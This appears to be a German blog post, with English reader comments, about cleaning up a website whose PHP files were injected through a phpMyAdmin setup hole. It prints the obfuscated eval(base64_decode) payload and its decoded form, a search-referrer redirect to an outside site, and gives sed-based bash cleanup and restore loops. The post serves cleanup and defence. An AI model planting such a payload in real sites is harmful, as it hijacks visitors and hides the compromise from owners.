in PHP

alolipololi.osa.pl

Heute wurde eine Webseite von mir über eine Sicherheitslücke im phpMyadmin Setupscript überall mit einem kleine Zusatzheader versehen:

eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2Fsb2xpcG9sb2xpLm9zYS5wbC8iKTsNCgkJZXhpdCgpOw0KCX0NCn0NCgl9"));

Dekodiert sah das ganze dann so aus:

error_reporting(0); $nccv=headers_sent(); if (!$nccv){ $referer=$_SERVER['HTTP_REFERER']; $ua=$_SERVER['HTTP_USER_AGENT']; if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing")) { if (!stristr($referer,"site") or !stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://alolipololi.osa.pl/"); exit(); } } }

Mit anderen Worten wenn einer über eine Suchmaschine meine Seite besucht hat dann wurde der Besucher auf eine nette polnische Seite umgeleitet.

Da alle meine PHP Scripte von dieser Attacke betroffen waren habe ich kurzerhand ein kleines Bashscript geschrieben das im Rootverzeichniss meiner Webseite auf er Kommandozeile gestartet erfolgreich wieder alles entfernt hat:

for i in `find . -name '*.php'`
do
echo $i
cp -v $i $i.bak
sed 's/eval(base64_decode(".*"));//g' $i.bak > $i
done

Write a Comment

Comment

  1. Hey Holger
    Thanks so much! I had this same problem, and used your code in Terminal on my mac, cleaned up all the infected php files and put them back. i hope i will not be attacked again.
    Danke sehr!
    -Herman

  2. Can anyone please advise how to run that script through SSH ?? I copied that code into a file called fix.sh and placed it on my root folder, but I cannot run it. What would be the exact command to run it? I may get “host key verification failed” when running it, too. Thanks!!

  3. Thanks a ton for this. Saved me some time (and probably a minor heart attack)

    Small edit to the script:

    for i in `find . -name ‘*.php’`
    do
    echo $i
    sed ‘s/eval(base64_decode(“[a-zA-Z0-9\/\+]*”));//g’ $i.bak > $i
    done

    The “.*” was a little to greedy in my case and messed a few files up. If someone has the same problem, this little script reverts all files from the backed up version

    for i in `find . -name ‘*.php.bak’`
    do
    echo $i
    cp -v $i ${i/php.bak/php}
    done

    • Edit to the previous edit:
      I forgot the line that backs up the existing files, here’s the revisited version:

      for i in `find . -name ‘*.php’`
      do
      echo $i
      cp -v $i $i.bak
      sed ‘s/eval(base64_decode(“[a-zA-Z0-9\/\+]*”));//g’ $i.bak > $i
      done

  4. Simon

    I can not get this script to run, I have no knowledge of using shell access on my server, Can you walk me through this please?